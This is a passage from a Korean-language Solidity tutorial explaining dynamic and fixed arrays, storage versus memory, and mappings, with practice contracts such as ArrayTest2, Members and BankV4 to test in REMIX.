고정 배열과 다르지 않게 인덱스를 사용하여 데이터를 입력하고 수정할 수 있다. 배열 항목의 삭제 delete 역시 고정 배열과 동일하다.

하지만 동적 배열에서는 고정 배열과는 달리, 데이터를 추가하거나 제거할 수 있다. 추가할 때는 push() 삭제할 때는 pop() 함수를 이용한다. push() 함수는 배열의 가장 마지막 요소로 데이터를 추가하고, pop()은 배열의 가장 마지막 요소를 제거한다.

string[] cities2;  
cities2.push("New York");  
cities2.push("Beijing");  
cities2.pop(); // 맨 끝 요소를 제거한다

#### 동적 배열은 storage에서만 가능하다. memory 영역에서는 사용할 수 없다.

함수 내에서 동적 배열 선언을 하기 위해서는 memory 키워드를 사용할 수 있지만, memory의 배열은 크기를 동적으로 재할당할 수 없다. memory 영역에서는 동적 배열을 사용하는 필요성이 없어지게 된다.

동적 배열을 사용하려면, storage 영역을 사용하는 상태변수를 이용해야 한다.

contract my {   
 uint[] myArr; //동적 배열 가능.  
 function setArr() public {  
 myArr.push(11); //동적 배열에 대해 push 함수를 사용한다.  
 }  
}

다음과 같이 동적 배열의 크기를 정해 놓지 않으면, 컴파일오류는 없지만 데이터를 입력하면서 실행오류가 발생한다. 크기를 정해주어야 한다는 것을 재확인하게 된다.

function setArr() pure public {  
 uint[] memory myArr; // 컴파일 오류는 없다. 그러나 함수내에서 memory 동적 배열은 크기를 정해주자.  
 myArr[0]=11; //크기를 정하지 않고 데이터를 입력하면 실행시점에 오류 발생  
}

#### push, pop은 storage 배열에만 사용하고 (즉 상태변수의 배열), memory 배열에는 사용할 수 없다.

동적 배열은 storage에서만 가능하고, 그 배열에는 .push, .pop 함수를 사용하여 데이터를 추가, 제거할 수 있다.

동적 배열로 선언했다 하더라도 memory 배열에 대해서는 .push, .pop 함수를 사용할 수 없다. memory에 저장된 배열의 크기는 실행 중에 변경될 수 없으며, push 및 pop와 같은 동적인 크기 조정 함수를 사용할 수 없다. 아래 코드에서 num.push(11)라고 할 수 없다.

배열의 크기는 고정 배열, 동적 배열, 다차원배열이나 모두 length를 사용하여 알 수 있다.

동적 배열은 크기를 미리 설정하지 않아도 된다. 그러나 num.length=0인 것과 같기 때문에 num.length를 이용해서 값을 입력하려 해도, 의미가 없다. 아래 코드에서 보듯이, num.length를 사용하려면 크기를 사전에 입력한다.

크기를 사전에 결정하였기 때문에, 동적 배열이라 하더라도 고정 크기를 가지게 되고, 그 범위를 넘어서는 입력 num[num.length]=11은 가능하지 못하다.

function getDynamicArrMemory() pure public returns(uint[] memory) {  
 uint[] memory num = new uint[](3); //크기 설정하지 않아도 되지만 num.length는 0  
 //num.push(11); //오류. 동적 배열이라도 memory변수. storage 변수에 push 가능  
 for (uint i=0; i<num.length; i++)  
 num[i]=i;  
 //num[num.length]=11; //사전에 설정된 크기를 넘어서는 경우 오류가 발생한다.  
 return num;  
}

### 2.1.3 함수의 배열

함수에서는 사용하는 메모리 영역에 따라 오류가 발생할 수 있다. 특히 앞서 설명한 것처럼 동적 배열은 실행 시점에 메모리 크기를 늘릴 수 있기 때문에, 영역이 storage인지 memory인지에 따라 영향을 미치게 된다.

#### 함수 내에서 storage와 memory 배열

함수 내에서 상태 변수 (멤버 변수)의 배열을 초기화하려고 하면 어느 메모리 영역을 사용하는지 주의해야 한다. 고정 배열이나 동적 배열이나 그런 문제는 발생할 수 있다.

함수에서 변수는 storage 또는 memory 영역을 사용할 수 있다. 아래 string[2] storage places 는 storage 변수의 선언이다. 그러나 주의하자. 함수의 storage 변수에는 어울리도록 storage 영역의 상태 변수의 참조를 할당해야 한다. 그렇게 하지 않고 데이터를 입력하면 오류가 발생한다.

storage가 아닌 memory 영역의 배열을 string[2] memory places = ["9000", "Sydney"] 사용하면 된다. 함수에서 memory의 고정 배열도 다르지 않게 다음과 같이 입력, 수정할 수 있다. 이는 곧 자세히 설명한다.

동적 배열 string[] memory places = ["9000", "Sydney"] 이렇게 값의 초기화가 가능할까? 좌측은 동적 배열, 우측은 고정 배열이다. 즉 string[2]을 -> string[]로 입력하는 오류가 발생하게 된다.

#### 함수의 memory의 동적 배열은 new, 괄호 안에 개수 적는다.

따라서 함수내에서 동적 배열을 memory 영역에서 사용한다면, string[] memory places = new string[](2) 이렇게 크기를 결정하고 데이터를 입력해야 한다. 크기를 정할 때는 new 명령어로 배열을 생성할 수 있고, 괄호 안에 개수를 적어서 초기화할 수 있다.

function getStringDynamicArrMemory() pure public returns(string[] memory) {  
 //string[2] storage places = ["9000", "Sydney"]; //오류. 우측은 memory 영역 사용  
 //string[] memory places; // = ["9000", "Sydney"] 하면 오류: string[2] -> string[]  
 string[] memory places = new string[](2);  
 places[0]="Seoul";  
 return places;  
}

#### memory의 동적 배열은 크기를 변경할 수 없다

뭐라고? 동적 배열은 크기가 정해져 있지 않다는 특징이 있는데 왜 그럴까? 함수에 선언되는 동적 배열은 다음에 보인 것처럼 선언하면서 크기를 지정해서 초기화해야 한다. 왜 크기를 정해야 할까?

uint[] memory myArr = new uint[](3);

크기를 정하지 않고 uint[] memory myArr 같은 형태로 선언해도 된다. 동적 배열은 그 크기를 런타임(실행 시점)에 정할 수 있으니까, 컴파일 시점에는 오류가 없다. 실행 중에 myArr[0]=11 처럼 메모리 할당 없이 값을 저장하려고 하면 오류가 발생한다.

그러니까 동적 배열로 선언되었지만, 고정 배열로 취급되고 있다. memory 영역은 할당되고 나면 크기가 정해지고, 늘릴 수 없다는 특징이 있어서 동적 배열이 memory를 사용하면 크기를 정해야 한다고 생각하자.

갯수가 정해지면 고정 배열이 되어 버린다. 따라서 myArr.push(11) 입력이 되지 않는다. 또한 크기가 3인데 4 번째 요소에 데이터를 저하려고 하면 인덱스 범위를 벗어나는 오류 myArr[3]=15, 즉 고정 배열의 특징적 오류가 발생하게 된다.

function setLocalDynamicArr() view public {  
 uint[] memory myArr = new uint[](3); //정상. memory 동적 배열은 크기를 할당해야 한다.  
 //myArr.push(11); //오류. myArr 크기가 정해져서, 고정 배열에 push 사용하지 못함.  
 myArr[0]=11; //정상. 인덱스를 사용해서 입력  
 myArr[1]=12; //정상.  
 //myArr[3]=15; //오류. 인덱스 벗어남. 동적 배열이 아니라는 의미.  
}

#### 함수내에서 상태변수에 값을 입력할 수 있다

아래를 실행하면 cities2 배열에는 어떤 문자열이 입력되어 있을지 생각해보자. 최종적으로 New York,,Hong Kong,Bangkok,Kuala lumpur를 저장하고 있다. 잠깐, 중간 컴마 하나가 더 있는 것은 왜 그럴까? 2개가 처음 배정되었고, 인덱스를 이용해서 넣으면 첫번째에 입력된다. 다음에 push를 하면 끝에 추가가 된다. 따라서 3번째 Hong Kong이 push 된다.

그리고 마지막 \_cities2.push("Kuala lumpur")를 하면 어떻게 될까? \_cities=cities 이렇게 상태변수의 참조를 넣어 놓으면, \_cities에 추가하더라도 상태변수 cities2에 역시 추가된다. 따라서 최종결과는 New York,,Hong Kong,Bangkok,Kuala lumpur가 된다.

contract ArrayTest2 {  
 string[] cities2 = new string[](2); //동적 배열이지만, 크기를 사전에 설정 -> string[2]가 생성  
 function setCities2() public {  
 cities2[0]="New York"; // 결과 ["New York", ]  
 string memory my = "Hong Kong"; //우측이 memory  
 cities2.push(my); //push 입력 -> ["New York", , "Hong Kong"]  
 cities2.push("Bangkok"); //push 입력 -> ["New York", , "Hong Kong", "Bangkok"]  
  
 string[] storage \_cities2 = cities2; //storage에 상태변수 참조를 할당  
 \_cities2.push("Kuala lumpur"); //로컬 storage를 갱신해도 상태변수 역시 갱신  
 }  
 function getCities2() view public returns(string[] memory){  
 return cities2; //storage 배열 -> memory 배열로 반환  
 }  
}

그렇다면 상태 변수의 배열 (목적배열)에 로컬의 배열 (원본배열)을 이전해보자.

목적 배열에 요소별로 입력하는 mathMarks[0]=100 방식은 타입 불일치가 아니라서 가능하다. 그러나 일괄적으로 mathMarks=[100,60,95,50,80] 하면 가능하지 않다. 따라서 반복문을 이용하여 각각 초기화해야 한다.

우선, 원본 배열을 로컬에서 초기화하려면 memory로 선언해야 데이터를 입력할 수 있다. 왜 그럴까? 배열의 우측을 보자. 데이터 타입이 주어지지 않았으므로, 그 요소를 판별해 데이터 타입을 결정한다. 그 과정에서 타입의 불일치 오류가 발생하는데, 설명해보자.

* [100, 60, 95, 50, 80]이라고 입력하면, 이들 100, 60... 등은 값의 범위가 256을 넘지 않으므로 uint8로 인식하고, 함수 내 로컬에서 만들어졌기 때문에 memory 영역을 사용, uint8[] memory가 된다.
* uint8[] memory와 storage 영역을 사용하는 int[] mathMarks와 불일치, 서로 타입이 맞지 않고 오류의 원인이 된다.
* 반복문으로 하나씩 읽어서 uint8 -> int8 -> int로 변환해 주어야 한다.

설명을 코드로 보면 다음과 같다.

contrat ArrayTest2 {  
 int[5] mathMarks; //storage 변수  
 function setMathMarks() public {  
 //mathMarks=[100,60,95,50,80]; //오류: uint8 -> int256  
 uint8[5] memory temp = [100, 60, 95, 50, 80]; //정상. 우측 타입 uint8 memory에 맞게 선언  
 for (uint i = 0; i < temp.length; i++)  
 //mathMarks[i] = int(temp[i]); //오류: uint8 -> int256  
 mathMarks[i] = int(int8(temp[i])); // 정상. uint8 -> int8 -> int256의 순서로 형변환  
 }  
}

#### 배열을 인자로 쓰거나 반환할 수 있다

줄3의 함수에서 배열을 반환하기 위해 임시 영역인 memory를 적용한다. 줄4의 mathMarks는 줄2의 storage 배열이고, 이를 반환하려면, 즉 줄2의 storage변수를 줄3의 memory로 반환하려고 하니 뭔가 찜찜할 수 있다. 그러나 storage와 타입이 맞지 않아서 문제가 되지 않는다.

아래 코드를 보자. storage 배열은 그냥 반환하면 된다. 상태변수는 storage 영역을 쓰지만, 반환의 memory 변수와 차이로 인한 불일치 문제는 없다. 이런 경우 이전에는 pragma ABIEncoderV2;라고 프로그램 앞에 선언해주어야 했지만, 0.8.0부터는 그럴 필요가 없다.

줄1 contrat ArrayTest2 {  
줄2 int[5] mathMarks; //storage 배열  
줄3 function getMathMarks() view public returns (int[5] memory) {  
줄4 return mathMarks;  
줄5 }  
줄6 }

#### 배열의 필터링과 반환

일정 조건에 따라, 예를 들어 배열에 있는 원본 점수에서 70점 이상을 골라내서, 그 부분만 배열에 저장해보자.

원본에서 70점 이상이라는 조건을 충족하는 건수를 미리 알 수는 없다는 문제가 있다. 그 건수를 사전에 모른다면, 동적 배열이 답이다. 그러나, 앞서 설명한 바와 같이, 함수에서는 동적 배열의 크기를 사전에 지정하지 않으면 실행 시점에 오류가 발생하게 된다.

function getMathAbove70() view public returns(int[] memory) {  
 int[] memory mathAbove70; //함수에서는 동적 배열의 크기를 정하지 않으면 실행시점의 오류 발생  
}

그렇다면 아래에서 보듯이 고정 배열을 사용하기 위해 70점 이상의 조건에 맞는 데이터 건수를 미리 세어보고, 딱 그만큼의 메모리를 배정하도록 하고, 그만큼 복사하면 된다. 그렇게 배정하지 않으면 컴파일은 성공하겠지만, 실행 시점에 오류가 발생하게 된다.

function getMathAbove70() view public returns(int[] memory) {  
 uint8 counter=0;  
 for(uint8 i=0; i<mathMarks.length; i++)  
 if(mathMarks[i]>70) counter++;  
 int[] memory mathAbove70=new int[](counter);  
 ...  
}

## 실습: 배열

앞서 동적, 고정 배열을 선언하고 입력, 수정하는 함수를 설명하고 있는데, 이를 묶어 컨트랙으로 만들어 보자.

배열에 대해 다음 함수를 만들어 보고, REMIX에서 함수에 대응하는 버튼들을 각각 만들어 테스트 해서 출력을 확인하자.

특히 setCities3() 함수는 배열의 인자를 입력받고 있다. 배열을 의미하는 대괄호 안에 문자열을 의미하는 따옴표를 붙여서, 예를 들면 ["NY", "Seoul", "LA"] 이런 식으로 적어주도록 한다. cities는 동적 배열이므로 요소는 정해진 개수를 넣을 필요가 없다.

|  |  |  |
| --- | --- | --- |
| 함수 명 | 설명 | 입출력 |
| getDynamicArrMemory() | 함수에서 동적 배열을 선언하고 데이터를 채우고 반환 | 출력 [0, 1, 2] |
| getStringDynamicArrMemory() | string 동적 배열의 입력, 반환 | 출력 ["Seoul", ] |
| setCities2() | storage 배열의 입력 및 반환 | 입출력 없다 |
| setCities3() | storage 배열의 반환 | 입력 ["NY", "Seoul", "LA"] |
| getCities1\_() | string[3] storage배열을 string[3] memory 로 반환 | 출력 ["Seoul", "Sydney", "Tokyo"] |
| getCities1() | string 1개씩 반환 가능 | 출력 "Seoul" |
| getCities1Length() | 고정 배열의 길이 반환 | 출력 3 |
| getCities2() | string 동적 배열 반환. 길이를 사전에 정한다 하더라도 증가 가능 | 출력 ["New York",,"Hong Kong","Bangkok","Kuala lumpur"] 사전 길이 2 -> 5개로 늘어남 |
| setMathMarks() | 함수에서 상태변수 배열에 입력 | 입출력 없다 |
| getMathMarks() | storage 배열의 반환 | 출력 [100,60,95,50,80] (자바스크립트는 문자열로 출력) |
| getMathAbove70() | 조건에 충족하는 건수로 사전에 크기를 결정하고, 데이터 복사 | 출력 [100,95,80] |
| getMarksArr() | 2차원 배열의 반환 | 출력 [ [ 100,80,95 ],[20,30,40] ] (자바스크립트는 문자열로 출력) |

[파일명: src/ArrayTest2.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
pragma experimental ABIEncoderV2;  
  
contract ArrayTest2 {  
 string[3] cities1=["Seoul", "Sydney", "Tokyo"]; //고정 배열 (문자열은 동적타입)  
 string[] cities2 = new string[](2); //동적 배열, 사전에 길이를 설정  
 string[] cities3; //동적 배열  
 uint24[5] balance = [255, 65536, 95, 50, 1]; //고정 배열 (uint24 고정크기)  
 int[5] mathMarks; //고정 배열 (초기화 하지 않음)  
 uint[3][] marks=[[100, 80, 95],[20, 30, 40]]; //2차원 배열  
  
 function getDynamicArrMemory() pure public returns(uint[] memory) {  
 uint[] memory num = new uint[](3); //크기 설정하지 않아도 되지만 num.length는 0  
 //num.push(11); //오류. 동적 배열이라도 memory변수. storage 변수에 push 가능  
 for (uint i=0; i<num.length; i++)  
 num[i]=i;  
 //num[num.length]=11; //사전에 설정된 크기를 넘어서는 경우 오류가 발생한다.  
 return num;  
 }  
 function getStringDynamicArrMemory() pure public returns(string[] memory) {  
 //string[2] storage places = ["9000", "Sydney"]; //오류. 우측은 memory 영역 사용  
 //string[] memory places; // = ["9000", "Sydney"] 하면 오류: string[2] -> string[]  
 string[] memory places = new string[](2);  
 places[0]="Seoul";  
 return places;  
 }  
 function setCities2() public {  
 cities2[0]="New York"; //인덱스로 입력  
 string memory my = "Hong Kong"; //우측이 memory  
 cities2.push(my); //push 입력 가능  
 cities2.push("Bangkok"); //push 입력  
   
 string[] storage \_cities2 = cities2; //storage에 상태변수 참조를 할당  
 \_cities2.push("Kuala lumpur"); //로컬 storage를 갱신해도 상태변수 역시 갱신  
 }  
 function setCities3(string[] memory sArr) public {  
 cities3=sArr; //받은 배열 인자로 설정  
 }  
 function getCities1\_() view public returns(string[3] memory) {  
 return cities1; //storage 배열 -> memory 배열로 반환  
 }  
 function getCities1() view public returns(string memory) {  
 return cities1[0];  
 }  
 function getCities1Length() view public returns(uint) { return cities1.length; }  
 //버전 0.8부터 동적 타입의 배열에서 "pragma ABIEncoderV2" 더 이상 불필요  
 function getCities2() view public returns(string[] memory){  
 return cities2; //storage 배열 -> memory 배열로 반환  
 }  
 function getCities3() view public returns(string[] memory){  
 return cities3; //동적 배열 반환  
 }  
 function setMathMarks() public {  
 //mathMarks=[100,60,95,50,80]; //오류: uint8 -> int256  
 uint8[5] memory temp = [100, 60, 95, 50, 80]; //정상. 우측 타입 uint8 memory에 맞게 선언  
 for (uint i = 0; i < temp.length; i++) {  
 //mathMarks[i] = int(temp[i]); //오류: uint8 -> int256  
 mathMarks[i] = int(int8(temp[i])); //정상. uint8 -> int8 -> int256의 순서로 형변환  
 }  
 }  
 function getMathMarks() view public returns (int[5] memory) {  
 return mathMarks; //상태변수의 고정 배열을 반환  
 }  
 //먼저 실행 setMathMarks(). 아래는 실행시점 오류가 발생한다  
 function getMathAbove70\_() view public returns(int[] memory) {  
 int[] memory mathAbove70; //동적 배열의 크기를 모른다.  
 uint counter = 0;  
 for(uint8 i=0;i<mathMarks.length;i++)  
 if(mathMarks[i]>70) {  
 mathAbove70[counter] = mathMarks[i];  
 counter++;  
 }  
 return mathAbove70;  
 }  
 //먼저 실행 setMathMarks().  
 function getMathAbove70() view public returns(int[] memory) {  
 uint8 counter=0; //조건을 충족하는 건수로 배열의 크기를 정한다  
 for(uint8 i=0; i<mathMarks.length; i++)  
 if(mathMarks[i]>70) counter++;  
 int[] memory mathAbove70=new int[](counter); //크기 결정해서 동적 배열 설정  
 counter=0;  
 for(uint i=0;i<mathMarks.length;i++) {  
 if(mathMarks[i]>70) {  
 mathAbove70[counter]=mathMarks[i];  
 counter++;  
 }  
 }  
 return mathAbove70;  
 }  
 function updateMarks() public returns(uint[3][] memory){  
 marks[0][0]=90; //2차원 배열의 갱신  
 return marks;  
 }  
 function getMarksArr() view public returns(uint[3][] memory) {  
 return marks; //2차원 배열의 반환  
 }  
 function getMarksLength() view public returns(uint) {  
 return marks.length;  
 }  
}

## 실습: Members 배열

회원 컨트랙을 만들어 보자. 회원 정보는 아이디, 이름으로 간단하게 구성하고, 아래의 가입, 검색, 삭제하는 함수를 구현하자.

* add(아이디, 이름): 아이디와 이름을 입력해서 가입하는 함수
* delOne(인덱스): 삭제하는 함수이다. 회원의 아이디를 특정해서 삭제할 수 있지만, 검색이 필요하다. 여기서는 단순하게 배열 인덱스를 통해 삭제하자.
* getMember(이름) 이름을 검색하는 함수이다. 이름에 해당하는 회원 정보를 읽어 낸다. 이름을 찾아내기 위해서는 문자열의 비교가 필요하다. 앞에서 보였던 것처럼 문자열을 해싱한 후 값을 비교하기 위해 keccak256(abi.encodePacked(문자열))==keccak256(abi.encodePacked(찾는 문자열)) 형태로 작성한다. 또한 찾는 struct이 나왔다고 하더라도, 반환을 그대로 하지 않고 (\_id,\_name) 요소를 한 개씩 담아 반환하고 있다. 왜 struct으로 하지 않고 이렇게 요소들을 반환할까? 이 함수를 호출하는 언어가 Solidity가 아니고 노드(node. js)일 수 있으므로, 이를 감안하여 struct으로 하지 않기로 한다. 일치하는 문자열이 없으면, 기본 값이 반환된다. 다른 언어와 큰 차이 없이, 0, 빈 문자열이 기본값(default value) 이다.

참고로 반복문으로 일치하는 문자열을 찾는 방식은 gas가 많이 발생할 수 있다. 나중에 배우겠지만 mapping을 사용하거나, 클라이언트 측에서 배열 데이터를 검색하는 방법을 선택할 수 있다.

[파일명: src/Members.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract Members{  
 address owner;  
 event printAddr(address arg);  
 struct Member{  
 uint id;  
 string name;  
 }  
 Member[] public memberArr;  
 constructor() { //constructor() public {  
 owner=msg.sender;  
 }  
 function del() public {  
 delete memberArr;  
 }  
 function delOne(uint i) public{  
 delete memberArr[i]; //try pop()  
 }  
 function add(uint id,string memory name) public {  
 memberArr.push(Member(id,name));  
 }  
 // 회원 정보의 반환  
 function getMember(string memory who) view public returns(uint, string memory) {  
 uint \_id;  
 string memory \_name;  
 for(uint i=0;i<memberArr.length;i++) {  
 \_name=memberArr[i].name;  
 if(keccak256(abi.encodePacked(\_name))==keccak256(abi.encodePacked(who))) {  
 \_id=memberArr[i].id;  
 \_name=memberArr[i].name;  
 }  
 }  
 return (\_id,\_name);  
 }  
 function compareStr(string memory s1, string memory s2) pure public returns(bool) {  
 return keccak256(abi.encodePacked(s1))==keccak256(abi.encodePacked(s2));  
 }  
 function compareBytes(bytes memory b1, bytes memory b2) pure public returns(bool) {  
 return keccak256(b1) == keccak256(b2);  
 }  
 function getLength() view public returns(uint) {  
 return memberArr.length;  
 }  
}

REMIX에서 버튼 테스트까지 모두 해보자.

* 먼저 1, "lim" 이런 식으로 add() 함수를 몇 차례 실행한다.
* 그리고 getMember() 함수를 "lim" 등으로 검색하여 결과를 확인한다.
* delOne() 함수에 인덱스 번호를 넣어 회원삭제를 테스트해보자.

## 2.2 mapping

### 2.2.1 키와 값 쌍으로 저장

mapping은 보통 맵이라고 불리우기도 하는데, '키'와 '값'의 쌍(pair)을 저장한다. mapping을 의미하는 화살표 **=>** 기호의 좌측에 키를 오른쪽에 값을 적어준다.

줄1 mapping (string => uint) public balances; // balance 선언  
줄2 balances["jsl"] = 100; // "jsl" (string 타입) 의 잔고는 100 (uint 타입)

* 줄1의 코드 mapping (string => uint) balances를 해석하면:
  + mapping 자료형의 변수 이름 balances로 선언하고
  + 괄호 안에 적은 (string => uint)는 string의 키, uint의 값으로 정의한다는 설정이다.
* 줄2는 이렇게 선언한 변수 balances에 값을 하나 입력하고 있다. string으로 선언된 키에 jsl, uint로 선언된 값에 잔고 100을 저장하고 있다.

단순하게 하나의 값뿐만 아니라, 여러 타입의 자료구조인 struct을 가질 수도 있다.

줄01 contract Customer {  
줄02 struct CustomerDetails {  
줄03 uint id;  
줄04 string name;  
줄05 string phNumber;  
줄06 string homeAddress;  
줄07 }  
줄08 mapping(address=>CustomerDetails) customers;  
줄09 function addCustomer(uint \_id, string memory \_name, string memory \_ph, string memory \_home) public {  
줄10 //아래와 같이 하나씩 입력해도 된다.  
줄11 //customers[tx.origin].id = \_id;  
줄12 //customers[tx.origin].name = \_name;  
줄13 //customers[tx.origin].phNumber = \_ph;  
줄14 //customers[tx.origin].homeAddress = \_home;  
줄15 //모두 한꺼번에 입력해도 물론 된다.  
줄16 CustomerDetails memory cd = CustomerDetails(\_id, \_name, \_ph, \_home);  
줄17 customers[tx.origin] = cd;  
줄18 }  
줄19 }

* 줄2 - 7은 주소 키에 대해 struct을 매핑하고 있다.
* 줄9 addCustomer() 함수에서 값을 입력하고 있다.
* 줄11 - 14와 같이 하나씩 또는 줄16 - 17에서 보듯이 한꺼번에 입력해도 된다.

## 실습: 은행 잔고의 mapping

은행에 입금을 하면 계좌의 잔고가 증가하고, 반면에 출금을 하면 당연히 감소한다.

블록체인에서의 잔고는 매우 안전하게 추적할 수 있다는 장점이 있다. 같은 수준의 안전을 담보하기 위해서 은행 시스템은 복잡하게 만들어질 수 밖에 없다.

잔고를 추적하기 위해 mapping을 적용한다. mapping(address=>uint) balanceOf; 라고 선언해보자. 괄호안에 적은 키, 값의 선언을 보면, 주소별로 잔고를 저장하겠다는 의미이다.

선언하고 난 후, 주소 0x123에 111 wei를 저장하려면 balanceOf[0x123]=111;이라고 적으면 된다. 증액, 감액 역시 단순한 연산으로 가능하다. 222를 증핵하는 코드를 적어보자.

uint balanceToAdd=222;  
balanceOf[0x123] += balanceToAdd;

그러나 이 숫자는 실제 가치가 있는 금액이 아니다. 그냥 숫자이다. 기억하자, 잔고는 value 필드에 적는다.

getBalance() 함수를 잘 이해해 보자. 잔고는 address(this).balance 여기서 출력하고 있다. 즉 잔고는 2개 존재하고 있다. (1) 수동으로 또는 (2) .balance를 통해 자동으로 추적하고 있다. 물론 (1)의 합계를 계산하면 당연히 (2)와 일치해야 한다. 그렇지 않으면 수동의 계산이 뭔가 잘못하였을 가능성이 매우 높다 하겠다.

이러한 mapping에 입금, 출금, 계좌이체하는 함수를 구현해 보자.

* \_mint() 함수는 화폐발행의 의미로서 은행의 잔고를 채워 놓는 함수이다. 여기서 은행 잔고는 소유주의 것으로 컨트랙이 생성되고 있다. 함수의 인자로 전달된 금액만큼 잔고를 생성하고, mapping에 기록한다. 내부적으로만 사용될 수 있도록 만들어진 함수여서 internal로 선언하고 있다.
* deposit(uint amount) 함수는 인자의 amount 금액만큼 입금한다.
* withdraw(address payable receiver, uint amount) 함수는 receiver 수취인에게 amount 금액만큼 출금한다.
* forwardTo(address receiver, uint amount) 함수는 receiver 수취인에게 amount 금액만큼 이체한다.

[파일명: src/BankV4.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract BankV4 {  
 address owner;  
 mapping (address => uint) balanceOf;  
 constructor() {  
 owner = msg.sender;  
 \_mint(1000000000000000000000000); //잔고 생성  
 }   
 function deposit(uint amount) payable public onlyOwner {  
 require(msg.value == amount);  
 balanceOf[msg.sender] += amount; //전송자의 잔고 입금  
 }  
 function forwardTo(address receiver, uint amount) payable public onlyOwner {  
 require(balanceOf[msg.sender] >= amount);  
 balanceOf[msg.sender] -= amount; //전송자의 잔고 감소  
 balanceOf[receiver] += amount; //수취인의 잔고 증가  
 }  
 function withdraw(address payable receiver, uint amount) public onlyOwner {  
 require(balanceOf[receiver] >= amount && address(this).balance >= amount);  
 balanceOf[receiver] -= amount; //수취인의 잔고 감소  
 receiver.transfer(amount); //수취인에게 이체  
 }  
 function getBalance() public view returns(uint, uint) {  
 return (address(this).balance, balanceOf[owner]);  
 }  
 function getBalanceOf(address addr) public view returns (uint) {  
 return balanceOf[addr];  
 }  
 function \_mint(uint amount) internal onlyOwner {  
 balanceOf[msg.sender] += amount;  
 }  
 modifier onlyOwner {  
 require(msg.sender == owner);  
 \_;  
 }  
}

REMIX에서 프로그램을 작성하고, 배포한 후 버튼 테스트를 해보자.

배포한다는 것은 객체를 생성한다는 것이다. 컨트랙 생성자에서 소유주의 주소와 잔고를 생성하고 있다. 따라서 처음 객체를 생성한 후 getBalance() 함수를 호출해서 기대한 잔고가 생성되어 있는지 확인한다.

그리고 REMIX의 버튼을 통해 입출금 및 계좌이체를 실행해보자. 아래 표에서 보듯이 함수가 호출되면서 (1) owner 계좌와 (2) 컨트랙의 계좌의 잔고 변동을 살펴보자. 함수를 호출하면서 주소인자를 적어줄 때는 따옴표 없이 adddress를, 금액도 따옴표 없이 정수를 적으면 된다.

|  |  |  |  |
| --- | --- | --- | --- |
| 함수 | 관련 잔고 | owner잔고 | 컨트랙 잔고 |
| deposit(111)을 하면 | owner잔고에 입금함 | owner 잔고 111 증가 | 컨트랙잔고 111 증가 |
| forwardTo(0x1234..., 11)을 하면 | 계좌이체이므로 OX1234... 잔고 11 증가 | owner잔고 11감소 | 컨트랙 잔고 변동 없슴 |
| withdraw(0x1234..., 11)을 하면 | OX1234... 잔고 11 감소 | owner잔고 변동 없슴 | 컨트랙 잔고 11감소 |

### 2.2.2 중복 키 확인

#### 중복 키를 입력하면 값을 엎어 쓸 수(overwrite) 있다

키는 주민등록번호처럼 중복될 수 없다는 특징을 가진다. 누군가 나와 동일한 주민등록번호를 가질 수 있는가? 안된다. 키는 이렇게 중복되지 않는 값이다.

mapping은 키와 값의 켤레로 구성되어 있고, 따라서 중복 키는 허용되지 않아야 한다. 중복키의 값을 넣으면 덮어쓰기를 하게 되는 것이다.

예를 들어, 고유번호 123에 "abc"가 저장되어 있다고 하자. 실수로 123에 "xyz"를 입력하면 "abc" -> "xyz"로 덮어쓰기를 한다. 즉 동일한 키로 데이터를 저장하지 말아야 하고, 그럴 경우 기존에 있던 값을 덮어 쓰게 된다. 이 때 기존 123의 데이터를 잃어버리는 사고가 발생한다.

물론 계정주소는 유일무이한 특징을 가지고 있어 이를 키로 쓸 경우 실제 이런 일이 발생하지 않을 수 있다. 하지만 다른 데이터 같은 경우에 이렇게 데이터를 덮어 쓰게 되고, 그럼 기존에 있던 데이터를 잃어버릴 수 있다.

#### 중복키를 방지하기 위한 필드

중복키를 방지하기 위해서 일반적인 맵에서는 이미 키가 존재하는지 확인할 수 있는 containsKey()같은 함수를 제공한다. 하지만 Solidity에는 이러한 종류의 지원 함수가 없어서 직접 구현해서 중복키가 입력되면 아예 입력이 되지 않도록 해야 한다.

여기서는 필드 isMember를 설정해놓고 그 값을 확인하는 방법으로 하자. 값을 넣지 않는 한, Member가 없다는 의미이므로, 간단한 방식으로 중복키인지 확인할 수 있게 된다.

mapping(address=>Member) memberMap;  
struct Member {  
 uint id;  
 string name;  
 bool isMember;  
}

예를 들어 투표하는 것을 생각해보자. 투표를 할 때 계정과 투표했다는 기록을 쌍으로 저장했다고 가정하고, 투표후 마음을 바꿔 재투표하는 상황을 생각해보자. 투표할 때 기존 계정 주소가 존재하는지 확인하고, 존재하면 다시 투표를 못하게 막을 수 있다.

이럴 경우, 중복키 존재를 확인하기 위해 isMember같은 변수를 사용할 수 있다. 처음 데이터를 저장할 때 isMember의 값을 true로 바꾸고 저장한다. 그런 후에 키가 있는지 확인할 때, if (memberMap(홍길동의 계정주소).isMember) 같은 형태로 확인할 수 있다.

### 2.2.3 삭제

Solidity의 맵은 키를 함께 저장하지 않아 매핑 내용을 삭제하는 것이 쉽지 않다. 다른 언어에서 remove()함수가 지원되어, 간편하게 지울 수 있는 것과 비교된다.

맵에서는 저장된 값에 대해 키를 알아야만 삭제할 수 있다. 예를 들어 주소를 키로 사용한 경우, 다음과 같이 그 키를 입력하고 delete 명령어를 사용한다.

delete memberMap[맵에 저장된 값에 해당되는 키를 나타내는 주소값];

### 2.2.4 양방향

양방향 매핑(bidirectional mapping)은 두 매핑이 서로를 참조하는 행태로 구현한다.

'계정 주소'를 입력하면 '성명'을 출력하는 맵을 다음과 같이 선언한다고 하자.

mapping(address=>string) nameByAddress

이와 반대로 '성명'을 입력하면 '계정 주소'를 반환받고 싶다면 양방향 매핑이 필요하다.

mapping(string=>address) addressByName;

얼핏 보면 낭비로 보이지만, 불필요해 보이는 이런 맵이 왜 필요할까?

한 요소가 다른 요소를 참조하고 있을 때, 해당 요소를 참조하는 요소를 역방향으로 쉽게 찾을 수 있다. 양방향 매핑을 사용하면 한 요소로 다른 요소에 바로 접근할 수 있게 된다.

이런 구조는 배열을 사용하는 것과 비교할 때 더 효과적일 수 있다. 배열은 반복문을 적용해서 하나 하나 비교하면서 특정해야 하지만, 양방향 맵은 반복문을 불필요하게 한다는 점에서 효과적일 수 있다. 반복문 없이, 맵의 키에 해당하는 값을 특정할 수 있다.

